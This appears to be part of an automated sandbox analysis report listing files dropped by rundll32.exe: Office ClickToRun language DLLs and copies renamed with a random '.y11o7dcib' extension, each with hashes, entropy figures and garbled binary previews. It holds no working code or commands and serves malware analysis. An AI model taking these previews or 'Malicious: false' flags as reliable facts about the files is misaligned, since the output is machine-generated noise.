C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.he-il.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	50594
Entropy (8bit):	7.6181968821397135
Encrypted:	false
SSDEEP:	1536:q+krguX42uiGsui7Xkm5RCC/0+V0uzgvDcpZzc:q+i92wuiDkUYC/d6Ug7l
MD5:	72D6915F0B2C648CD89EFFAC8513E5EF
SHA1:	D7AD9A86D316615E9651D0211B6ADA914A4FD961
SHA-256:	82F5556B70E0CC7A5F86FA4C2240332E686CD4103591251CE5313BF35BECDAF8
SHA-512:	886E35FC329DB856AA2FC82179C2D306B5B775F16FD54E337A6138A49AC2A472A2773961F948CF1B8A86C94C19599CEB611FF53E24332C5EFAC8CA6687A31C71
Malicious:	false
Preview:	.\....V2..z..9......Uv7.......T.p...k.%.}....@.......}. !.@..H........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............C...>T2....S..9....v........T.....k.%.}....@...T...}.0!..H..............................`A........................................@...4............ ...n...........v..hN..............8.........V2..z.S..9...Uv7......T.p...k.%.}....@.......}. !..H.........rdata..............................@..@.rsrc....n... ...p..................@..@..............................................V2..z.S..9...Uv7......T.p...k.%.}....@.......}. !..H......................................................................................................................................V2..z.S..9...Uv7......T.p...k.%.}....@.......}. !..H......................................................................................................................................V2..z.S..9...Uv7......T.p...k.%

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.he-il.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	50594
Entropy (8bit):	7.6181968821397135
Encrypted:	false
SSDEEP:	1536:q+krguX42uiGsui7Xkm5RCC/0+V0uzgvDcpZzc:q+i92wuiDkUYC/d6Ug7l
MD5:	72D6915F0B2C648CD89EFFAC8513E5EF
SHA1:	D7AD9A86D316615E9651D0211B6ADA914A4FD961
SHA-256:	82F5556B70E0CC7A5F86FA4C2240332E686CD4103591251CE5313BF35BECDAF8
SHA-512:	886E35FC329DB856AA2FC82179C2D306B5B775F16FD54E337A6138A49AC2A472A2773961F948CF1B8A86C94C19599CEB611FF53E24332C5EFAC8CA6687A31C71
Malicious:	false
Preview:	.\....V2..z..9......Uv7.......T.p...k.%.}....@.......}. !.@..H........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............C...>T2....S..9....v........T.....k.%.}....@...T...}.0!..H..............................`A........................................@...4............ ...n...........v..hN..............8.........V2..z.S..9...Uv7......T.p...k.%.}....@.......}. !..H.........rdata..............................@..@.rsrc....n... ...p..................@..@..............................................V2..z.S..9...Uv7......T.p...k.%.}....@.......}. !..H......................................................................................................................................V2..z.S..9...Uv7......T.p...k.%.}....@.......}. !..H......................................................................................................................................V2..z.S..9...Uv7......T.p...k.%

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hi-in.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60218
Entropy (8bit):	7.497200494824439
Encrypted:	false
SSDEEP:	768:hOhQFY2UqgAnxqTT0pgUcXHYCitlzF7VE6Dj1iQtYU72ReGFCN/:sGaq1cT0CUcXxom6DEIvq4GFw/
MD5:	44A4D250054489BA40CE687EE589799D
SHA1:	8EDA9500C743D870DCC8015B90BC881EC238611E
SHA-256:	649F7C53C31AADABADC13BD1F85319F1CD714DCF81094D1B93DBBCF7F5C8B601
SHA-512:	1D37E0E382F0BDB0D9BF73BD06AD26A4A7CF7AFC86B4A1E9D34DE6FFC14B35336904FD35177C0945A6D68A9F9D9EA78DED04C743B2B5E2EBD775F4CC73C7605E
Malicious:	false
Preview:	.u...0.....S.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F..O[._........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............j......z.7'n.....9......Y...Tz.a?B....?.<t;f<M...z.V...Y._........................k'....`A........................................@...4............ ..D................N..............8..../...0.....S'n.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F...[._.........rdata..............................@..@.rsrc...D.... ......................@..@........................................./...0.....S'n.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F...[._................................................................................................................................./...0.....S'n.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F...[._................................................................................................................................./...0.....S'n.....9l. ...W...Tzoa?B...

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hi-in.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60218
Entropy (8bit):	7.497200494824439
Encrypted:	false
SSDEEP:	768:hOhQFY2UqgAnxqTT0pgUcXHYCitlzF7VE6Dj1iQtYU72ReGFCN/:sGaq1cT0CUcXxom6DEIvq4GFw/
MD5:	44A4D250054489BA40CE687EE589799D
SHA1:	8EDA9500C743D870DCC8015B90BC881EC238611E
SHA-256:	649F7C53C31AADABADC13BD1F85319F1CD714DCF81094D1B93DBBCF7F5C8B601
SHA-512:	1D37E0E382F0BDB0D9BF73BD06AD26A4A7CF7AFC86B4A1E9D34DE6FFC14B35336904FD35177C0945A6D68A9F9D9EA78DED04C743B2B5E2EBD775F4CC73C7605E
Malicious:	false
Preview:	.u...0.....S.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F..O[._........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............j......z.7'n.....9......Y...Tz.a?B....?.<t;f<M...z.V...Y._........................k'....`A........................................@...4............ ..D................N..............8..../...0.....S'n.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F...[._.........rdata..............................@..@.rsrc...D.... ......................@..@........................................./...0.....S'n.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F...[._................................................................................................................................./...0.....S'n.....9l. ...W...Tzoa?B....?.<d;f<MK..z.F...[._................................................................................................................................./...0.....S'n.....9l. ...W...Tzoa?B...

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hr-hr.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54586
Entropy (8bit):	7.688362684384418
Encrypted:	false
SSDEEP:	1536:EBgqXonrR4KsdM1Z3Wfh2qv6oUfwlpU+By:mXiNtsdM1FWEqvP2ky
MD5:	4521649BBC405C73FE9C70F1491BB249
SHA1:	5FB117F2B5517D9DCF6C85CC12E04ED4CC6BF404
SHA-256:	FACB7C13F9C5835279A298128FAC92AD620D7665B1434ADC6DFB481609F1D5B6
SHA-512:	551981B3196CB645EBA2261A4EA1BC2A2AC5D718B3264981F31DBD833705E13030BA6DE164CCA576EF0E24207830C4E23117FBD12923777D28A7D0F74C050571
Malicious:	false
Preview:	f..Y.l......;......F...^....vK.\|....u.d;...d.S....^.}8..O."..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............{.Y....>.#.....;......\....vK......u.d;...t.S...v_.}8..O> ...........................4....`A........................................@...4............ ...................N..............8...+..Y.l..........;...F..^....vK.\|....u.d;...d.S....^.}8..O>"...........rdata..............................@..@.rsrc........ ......................@..@........................................+..Y.l..........;...F..^....vK.\|....u.d;...d.S....^.}8..O>"..................................................................................................................................+..Y.l..........;...F..^....vK.\|....u.d;...d.S....^.}*8..O>"..................................................................................................................................+..Y.l..........;...F..^....vK.\|....u.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hr-hr.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54586
Entropy (8bit):	7.688362684384418
Encrypted:	false
SSDEEP:	1536:EBgqXonrR4KsdM1Z3Wfh2qv6oUfwlpU+By:mXiNtsdM1FWEqvP2ky
MD5:	4521649BBC405C73FE9C70F1491BB249
SHA1:	5FB117F2B5517D9DCF6C85CC12E04ED4CC6BF404
SHA-256:	FACB7C13F9C5835279A298128FAC92AD620D7665B1434ADC6DFB481609F1D5B6
SHA-512:	551981B3196CB645EBA2261A4EA1BC2A2AC5D718B3264981F31DBD833705E13030BA6DE164CCA576EF0E24207830C4E23117FBD12923777D28A7D0F74C050571
Malicious:	false
Preview:	f..Y.l......;......F...^....vK.\|....u.d;...d.S....^.}8..O."..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich............{.Y....>.#.....;......\....vK......u.d;...t.S...v_.}8..O> ...........................4....`A........................................@...4............ ...................N..............8...+..Y.l..........;...F..^....vK.\|....u.d;...d.S....^.}8..O>"...........rdata..............................@..@.rsrc........ ......................@..@........................................+..Y.l..........;...F..^....vK.\|....u.d;...d.S....^.}8..O>"..................................................................................................................................+..Y.l..........;...F..^....vK.\|....u.d;...d.S....^.}*8..O>"..................................................................................................................................+..Y.l..........;...F..^....vK.\|....u.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hu-hu.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57554
Entropy (8bit):	7.575754392332213
Encrypted:	false
SSDEEP:	1536:Oyjb21ULttugG2GaJzdq2kuybNlozAVMv:Oyfh0v2GaJpUNl8Bv
MD5:	FF715AC1ADE438A1AD45165297E891EC
SHA1:	AEA3A023E2E7553D0F025B11CE65C20C8D9A9597
SHA-256:	E249C1A3202843429A1848857BDDDD5C5063E36AF9F8D3B8A3B5701C79E03091
SHA-512:	997F9796B57336160FC5C1F46B4A9352279A6CD0C07CC8CD2039F8F60D3F96235AE69BF70D02F080D48369C96EEB899EF6F134B34571E13521CB36566EE7B8AB
Malicious:	false
Preview:	.Kq. J....x.u .%[..I..L.i..v....B..<.Y\9.%.Ym<G....!.I..a](.D.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............T..G..Q~...%..IU.n...g8.v....B..<.Y\9.%.Im<G....!.I..a]..D...............................`A........................................@...4............ ..................M..............8.......#J....x...%..I..L...i..v....B..<.Y\9.%.Ym<G....!.I..a]..D..........rdata..............................@..@.rsrc....... ......................@..@............................................#J....x...%..I..L...i..v....B..<.Y\9.%.Ym<G....!.I..a]..D.....................................................................................................................................#J....x...%..I..L...i..v....B..<.Y\9.%.Ym<G....!.I..a]..D.....................................................................................................................................#J....x...%..I..L...i..v....B..<.Y

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.hu-hu.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	57554
Entropy (8bit):	7.575754392332213
Encrypted:	false
SSDEEP:	1536:Oyjb21ULttugG2GaJzdq2kuybNlozAVMv:Oyfh0v2GaJpUNl8Bv
MD5:	FF715AC1ADE438A1AD45165297E891EC
SHA1:	AEA3A023E2E7553D0F025B11CE65C20C8D9A9597
SHA-256:	E249C1A3202843429A1848857BDDDD5C5063E36AF9F8D3B8A3B5701C79E03091
SHA-512:	997F9796B57336160FC5C1F46B4A9352279A6CD0C07CC8CD2039F8F60D3F96235AE69BF70D02F080D48369C96EEB899EF6F134B34571E13521CB36566EE7B8AB
Malicious:	false
Preview:	.Kq. J....x.u .%[..I..L.i..v....B..<.Y\9.%.Ym<G....!.I..a](.D.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............T..G..Q~...%..IU.n...g8.v....B..<.Y\9.%.Im<G....!.I..a]..D...............................`A........................................@...4............ ..................M..............8.......#J....x...%..I..L...i..v....B..<.Y\9.%.Ym<G....!.I..a]..D..........rdata..............................@..@.rsrc....... ......................@..@............................................#J....x...%..I..L...i..v....B..<.Y\9.%.Ym<G....!.I..a]..D.....................................................................................................................................#J....x...%..I..L...i..v....B..<.Y\9.%.Ym<G....!.I..a]..D.....................................................................................................................................#J....x...%..I..L...i..v....B..<.Y

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.id-id.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	52946
Entropy (8bit):	7.615616911232218
Encrypted:	false
SSDEEP:	768:eqtcK+IX+Q1vsQHEVN6oZ/yB4SpQbUy0egTGIN9wpU/bmXmBXwB+:eq7+IOQ1vCWoZ/yqSp20e2b8R2RwB+
MD5:	3DD625EB09EA129FDED4F2200FFD4D94
SHA1:	899DDEC2A2C21727A40DB4F877DFF2D1B4CF44D0
SHA-256:	185594314CFAB30FF21C74F5188E750D16CA1F3EF451AAD8F13871DAE5189802
SHA-512:	AAA8D361756A49B7FFD8D248978F97B3F153A88D03C13B4DF8F2150EA78963A742EBD0B1962FC2443B18345E9D80DBE48DC8078EBDC3B5A754075FEA75F85A09
Malicious:	false
Preview:	..^.O.....o.....K..7@....[AL0..\|.....[-._....^.V..Q!I.Q...W.L........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................(P..)$r.....K...@.9...{AL0........[-._....^.V$.Q!I.A..fU.L..............................`A........................................@...4............ ..4y...............M..............8.......L.....o....K..7@.....[AL0..\|.....[-._....^.V..Q!I.Q..fW.L.........rdata..............................@..@.rsrc...4y... ...z..................@..@............................................L.....o....K..7@.....[AL0..\|.....[-._....^.V..Q!I.Q..fW.L....................................................................................................................................L.....o....K..7@.....[AL0..\|.....[-._....^.V..Q!I.Q..fW.L....................................................................................................................................L.....o....K..7@.....[AL0..\|.....[

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.id-id.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	DOS executable (COM)
Category:	dropped
Size (bytes):	52946
Entropy (8bit):	7.615616911232218
Encrypted:	false
SSDEEP:	768:eqtcK+IX+Q1vsQHEVN6oZ/yB4SpQbUy0egTGIN9wpU/bmXmBXwB+:eq7+IOQ1vCWoZ/yqSp20e2b8R2RwB+
MD5:	3DD625EB09EA129FDED4F2200FFD4D94
SHA1:	899DDEC2A2C21727A40DB4F877DFF2D1B4CF44D0
SHA-256:	185594314CFAB30FF21C74F5188E750D16CA1F3EF451AAD8F13871DAE5189802
SHA-512:	AAA8D361756A49B7FFD8D248978F97B3F153A88D03C13B4DF8F2150EA78963A742EBD0B1962FC2443B18345E9D80DBE48DC8078EBDC3B5A754075FEA75F85A09
Malicious:	false
Preview:	..^.O.....o.....K..7@....[AL0..\|.....[-._....^.V..Q!I.Q...W.L........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................(P..)$r.....K...@.9...{AL0........[-._....^.V$.Q!I.A..fU.L..............................`A........................................@...4............ ..4y...............M..............8.......L.....o....K..7@.....[AL0..\|.....[-._....^.V..Q!I.Q..fW.L.........rdata..............................@..@.rsrc...4y... ...z..................@..@............................................L.....o....K..7@.....[AL0..\|.....[-._....^.V..Q!I.Q..fW.L....................................................................................................................................L.....o....K..7@.....[AL0..\|.....[-._....^.V..Q!I.Q..fW.L....................................................................................................................................L.....o....K..7@.....[AL0..\|.....[

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.it-it.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54986
Entropy (8bit):	7.6519364629733975
Encrypted:	false
SSDEEP:	768:QuDZTNVF0tZMOWNBG1prDS+JNbgG6phPLWWqdX8CwaUuL1yjLzQ1lj1IdLw:tNTK4OYxpnLWWqdM611yvzQ1d1I+
MD5:	F46EF912F013BBD131D47AD67EA7C6EB
SHA1:	BE22E88D3B6324A451615E765472BA95790F3812
SHA-256:	700244ACFF112C9F8412347463AFE3AB3A4340E74547BDE7B551AE738533648C
SHA-512:	344A985D48441F71308FC7C9FB72429A2C7C54466FF01C9E6408FAD5E66D4281391D3E0DC2081BB69A732583BF089C162829795F131403451FB737A5F5D72E32
Malicious:	false
Preview:	._.h...mR..Q....J...By...l2.B...M.(.......H..;[...xzz6.-.`.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............@/h...m.A5X<..#J..f.`Y...L2.B.. .M.(.......H..;[...xzz&...`.........................i~....`A........................................@...4............ ..0................M..............8...../h...mV..QX<..#J...By...l2.B...M.(.......H..;[...xzz6...`..........rdata..............................@..@.rsrc...0.... ......................@..@........................................../h...mV..QX<..#J...By...l2.B...M.(.......H..;[...xzz6...`.................................................................................................................................../h...mV..QX<..#J...By...l2.B...M.(.......H..;[...xzz6...`.................................................................................................................................../h...mV..QX<..#J...By...l2.B...M.(..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.it-it.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	54986
Entropy (8bit):	7.6519364629733975
Encrypted:	false
SSDEEP:	768:QuDZTNVF0tZMOWNBG1prDS+JNbgG6phPLWWqdX8CwaUuL1yjLzQ1lj1IdLw:tNTK4OYxpnLWWqdM611yvzQ1d1I+
MD5:	F46EF912F013BBD131D47AD67EA7C6EB
SHA1:	BE22E88D3B6324A451615E765472BA95790F3812
SHA-256:	700244ACFF112C9F8412347463AFE3AB3A4340E74547BDE7B551AE738533648C
SHA-512:	344A985D48441F71308FC7C9FB72429A2C7C54466FF01C9E6408FAD5E66D4281391D3E0DC2081BB69A732583BF089C162829795F131403451FB737A5F5D72E32
Malicious:	false
Preview:	._.h...mR..Q....J...By...l2.B...M.(.......H..;[...xzz6.-.`.........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............@/h...m.A5X<..#J..f.`Y...L2.B.. .M.(.......H..;[...xzz&...`.........................i~....`A........................................@...4............ ..0................M..............8...../h...mV..QX<..#J...By...l2.B...M.(.......H..;[...xzz6...`..........rdata..............................@..@.rsrc...0.... ......................@..@........................................../h...mV..QX<..#J...By...l2.B...M.(.......H..;[...xzz6...`.................................................................................................................................../h...mV..QX<..#J...By...l2.B...M.(.......H..;[...xzz6...`.................................................................................................................................../h...mV..QX<..#J...By...l2.B...M.(..

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ja-jp.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59706
Entropy (8bit):	7.284774390231098
Encrypted:	false
SSDEEP:	768:I4jj+2jON6/nF2hN6YyhAWgkjacNNJdrTDF51mEab+ix2foVRmNQy3F0Gbu0myK/:2NQ8hDIjLDhIKicfXVjeTmsCX9ka7m
MD5:	EFB088BD821BEB303032CA95F406C1DE
SHA1:	D6C36FC462A26D39689F872228BD2AD72201FF44
SHA-256:	4569255CC061C6A868AEFDB265440BA5069684D5F9666A1763CB30D4BB37C9F1
SHA-512:	FD6215E8A4E377B0952FDEF6EEF8DD501095D34CAE360D5BFF24B4C495DE4F382260CC622A14EB8F3D901079ADD4309E2DB28D2D7CC32885CB3683AD33C2B6CB
Malicious:	false
Preview:	..H....F.I)z...{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................/..^..-...h{3P.+.M.8.!.!w....sn.@...P..k?<%U...H]~z.6..............................5....`A........................................@...4............ ..................N..............8.........F.I...h{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6..............rdata..............................@..@.rsrc....... ......................@..@..............................................F.I...h{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6...........................................................................................................................................F.I...h{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6...........................................................................................................................................F.I...h{3P.+.m.:...!w..a.sn.@.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ja-jp.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	59706
Entropy (8bit):	7.284774390231098
Encrypted:	false
SSDEEP:	768:I4jj+2jON6/nF2hN6YyhAWgkjacNNJdrTDF51mEab+ix2foVRmNQy3F0Gbu0myK/:2NQ8hDIjLDhIKicfXVjeTmsCX9ka7m
MD5:	EFB088BD821BEB303032CA95F406C1DE
SHA1:	D6C36FC462A26D39689F872228BD2AD72201FF44
SHA-256:	4569255CC061C6A868AEFDB265440BA5069684D5F9666A1763CB30D4BB37C9F1
SHA-512:	FD6215E8A4E377B0952FDEF6EEF8DD501095D34CAE360D5BFF24B4C495DE4F382260CC622A14EB8F3D901079ADD4309E2DB28D2D7CC32885CB3683AD33C2B6CB
Malicious:	false
Preview:	..H....F.I)z...{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................/..^..-...h{3P.+.M.8.!.!w....sn.@...P..k?<%U...H]~z.6..............................5....`A........................................@...4............ ..................N..............8.........F.I...h{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6..............rdata..............................@..@.rsrc....... ......................@..@..............................................F.I...h{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6...........................................................................................................................................F.I...h{3P.+.m.:...!w..a.sn.@...P..{?<%U...H]~z.6...........................................................................................................................................F.I...h{3P.+.m.:...!w..a.sn.@.

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.kk-kz.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58786
Entropy (8bit):	7.359399171454198
Encrypted:	false
SSDEEP:	1536:X6hUiQeEhLuQW5nIWlJ38q4bd3JEn9t6xkmA:qhUHwQW5T/8q+O6xkmA
MD5:	6B992407A73875F5A36E9A143647829D
SHA1:	2F6F62449E55D5A080EF2135BE3A68A4F5F825DD
SHA-256:	1330CDB890AA3AEB9E6D0DA297348197FC65212B712709982FBD8DBA40ABFAFF
SHA-512:	D1F5D6227C266EC0B4F213A5248816D72926B87B263C704D64EF78ED60F48494BBFA0DE30C86D1C593BA9D4F083E7A784D543D2098C6B546AAC1FEEF21C1CDED
Malicious:	false
Preview:	..w..5.G....o....c...W.!M.S. ...a.u)]8.%...V^..:.0.7..S.,.3.^.-........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................x..G.9O..R...c..}W....]. ...aju)]8.%...V^..:.0<6..S.<.3_\.-..............................`A........................................@...4............ ..................hN..............8....A...5.G....R...c...W.!..S. ...a.u)]8.%...V^..:.0.7..S.,.3_^.-.........rdata..............................@..@.rsrc........ ......................@..@.........................................A...5.G....R...c...W.!..S. ...a.u)]8.%...V^..:.0.7..S.,.3_^.-.................................................................................................................................A...5.G....R...c...W.!..S. ...a.u)]8.%...V^..:.0.7..S.,.3_^.-.................................................................................................................................A...5.G....R...c...W.!..S. ...a.u)]8.%

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.kk-kz.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	58786
Entropy (8bit):	7.359399171454198
Encrypted:	false
SSDEEP:	1536:X6hUiQeEhLuQW5nIWlJ38q4bd3JEn9t6xkmA:qhUHwQW5T/8q+O6xkmA
MD5:	6B992407A73875F5A36E9A143647829D
SHA1:	2F6F62449E55D5A080EF2135BE3A68A4F5F825DD
SHA-256:	1330CDB890AA3AEB9E6D0DA297348197FC65212B712709982FBD8DBA40ABFAFF
SHA-512:	D1F5D6227C266EC0B4F213A5248816D72926B87B263C704D64EF78ED60F48494BBFA0DE30C86D1C593BA9D4F083E7A784D543D2098C6B546AAC1FEEF21C1CDED
Malicious:	false
Preview:	..w..5.G....o....c...W.!M.S. ...a.u)]8.%...V^..:.0.7..S.,.3.^.-........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich................x..G.9O..R...c..}W....]. ...aju)]8.%...V^..:.0<6..S.<.3_\.-..............................`A........................................@...4............ ..................hN..............8....A...5.G....R...c...W.!..S. ...a.u)]8.%...V^..:.0.7..S.,.3_^.-.........rdata..............................@..@.rsrc........ ......................@..@.........................................A...5.G....R...c...W.!..S. ...a.u)]8.%...V^..:.0.7..S.,.3_^.-.................................................................................................................................A...5.G....R...c...W.!..S. ...a.u)]8.%...V^..:.0.7..S.,.3_^.-.................................................................................................................................A...5.G....R...c...W.!..S. ...a.u)]8.%

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ko-kr.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55106
Entropy (8bit):	7.4701225435108265
Encrypted:	false
SSDEEP:	1536:iLmWmqhppYhTBk8xYm/1d4vjNdRtNWqxfp2:iLm2OxYyIvRTxh2
MD5:	0AA3DAD7F766EC6D2A177B82775667BC
SHA1:	D1F3975E8E8DAE826D0F486742A566973081142D
SHA-256:	FF7D1EC69B0DEC83D875B96631C84B56BEA429031CD5E5F8A33E36A1C73FB8E9
SHA-512:	05709AD7889412BB085D61C5EE6821A72C0574366F852BEECEB1DF704F6E38C053FF036B2405404EB2C4568A9BA8A1AE6E0C05646EF2C9F60712A0D19BFA83FE
Malicious:	false
Preview:	.S>d,z.H%u.._k.q.A.Q}.7......\......G.&...[..=.F.b..!h.e0..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............L.dK..H......k...A..}..P......\D.....G.&...[..=.G.b..1h..2..........................p.....`A........................................@...4............ ..................N..............8...H..d/z.H!u...k...A.Q}.7[.....\......G.&...[..=.F.b..!h..0...........rdata..............................@..@.rsrc....... ......................@..@........................................H..d/z.H!u...k...A.Q}.7[.....\......G.&...[..=.F.b..!h..0..................................................................................................................................H..d/z.H!u...k...A.Q}.7[.....\......G.&...[..=.F.b..!h..0..................................................................................................................................H..d/z.H!u...k...A.Q}.7[.....\......G

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.ko-kr.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55106
Entropy (8bit):	7.4701225435108265
Encrypted:	false
SSDEEP:	1536:iLmWmqhppYhTBk8xYm/1d4vjNdRtNWqxfp2:iLm2OxYyIvRTxh2
MD5:	0AA3DAD7F766EC6D2A177B82775667BC
SHA1:	D1F3975E8E8DAE826D0F486742A566973081142D
SHA-256:	FF7D1EC69B0DEC83D875B96631C84B56BEA429031CD5E5F8A33E36A1C73FB8E9
SHA-512:	05709AD7889412BB085D61C5EE6821A72C0574366F852BEECEB1DF704F6E38C053FF036B2405404EB2C4568A9BA8A1AE6E0C05646EF2C9F60712A0D19BFA83FE
Malicious:	false
Preview:	.S>d,z.H%u.._k.q.A.Q}.7......\......G.&...[..=.F.b..!h.e0..........!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich.............L.dK..H......k...A..}..P......\D.....G.&...[..=.G.b..1h..2..........................p.....`A........................................@...4............ ..................N..............8...H..d/z.H!u...k...A.Q}.7[.....\......G.&...[..=.F.b..!h..0...........rdata..............................@..@.rsrc....... ......................@..@........................................H..d/z.H!u...k...A.Q}.7[.....\......G.&...[..=.F.b..!h..0..................................................................................................................................H..d/z.H!u...k...A.Q}.7[.....\......G.&...[..=.F.b..!h..0..................................................................................................................................H..d/z.H!u...k...A.Q}.7[.....\......G

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.lt-lt.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55610
Entropy (8bit):	7.7177440566516715
Encrypted:	false
SSDEEP:	768:UbSBeoBmn9BkOuNi7KBLbPtFyiaTDDYJzArWM8ou3k7CfQ3jCX2f/+0EA:ReoBykOuE7yLTyVHDYJg5D1vZOxA
MD5:	5741B4A2294853B0F4C505808A5F148D
SHA1:	FF54D8BCB32503C39A277548376F340C69C44506
SHA-256:	524B692A5C63494EE118010C5CEB6C0708AC862B42F5982F9E1DAE86A23DD3F4
SHA-512:	11B8B73AC13EAF4A0867FD09862A314EBD1E89E4ABA72A6E03B7499E95A029013859B8A2DE01A9B6BB0FE7FDC8A45E55082B356BD939EB7D0D26DAEB2E389A0F
Malicious:	false
Preview:	..d......].q...7..........b...^. YO..3-..K{k.Q7;...$.............!..L.!This program cannot be run in DOS mode....$.......;s...............h..~....h}.~.......~....h..~...Rich..............d.@..0<.9S...s7..h.....b..^. YO..3-..K{k..6;...$.4.................................`A........................................@...4............ ...................N..............8......d......]S...s7.........b...^. YO..3-..K{k.Q7;...$.4............rdata..............................@..@.rsrc........ ......................@..@...........................................d......]S...s7.........b...^. YO..3-..K{k.Q7;...$.4......................................................................................................................................d......]S...s7.........b...^. YO..3-..K{k.Q7;...$.4......................................................................................................................................d......]S...s7.........b...^. YO

C:\Program Files\Common Files\microsoft shared\ClickToRun\C2RINTL.lt-lt.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	55610
Entropy (8bit):	7.7177440566516715
Encrypted:	false
SSDEEP:	768:UbSBeoBmn9BkOuNi7KBLbPtFyiaTDDYJzArWM8ou3k7CfQ3jCX2f/+0EA:ReoBykOuE7yLTyVHDYJg5D1vZOxA
MD5:	5741B4A2294853B0F4C505808A5F148D
SHA1:	FF54D8BCB32503C39A277548376F340C69C44506
SHA-256:	524B692A5C63494EE118010C5CEB6C0708AC862B42F5982F9E1DAE86A23DD3F4
SHA-512:	11B8B73AC13EAF4A0867FD09862A314EBD1E89E4ABA72A6E03B7499E95A029013859B8A2DE01A9B6BB0FE7FDC8A45E55082B356BD939EB7D0D26DAEB2E389A0F
Malicious:	false
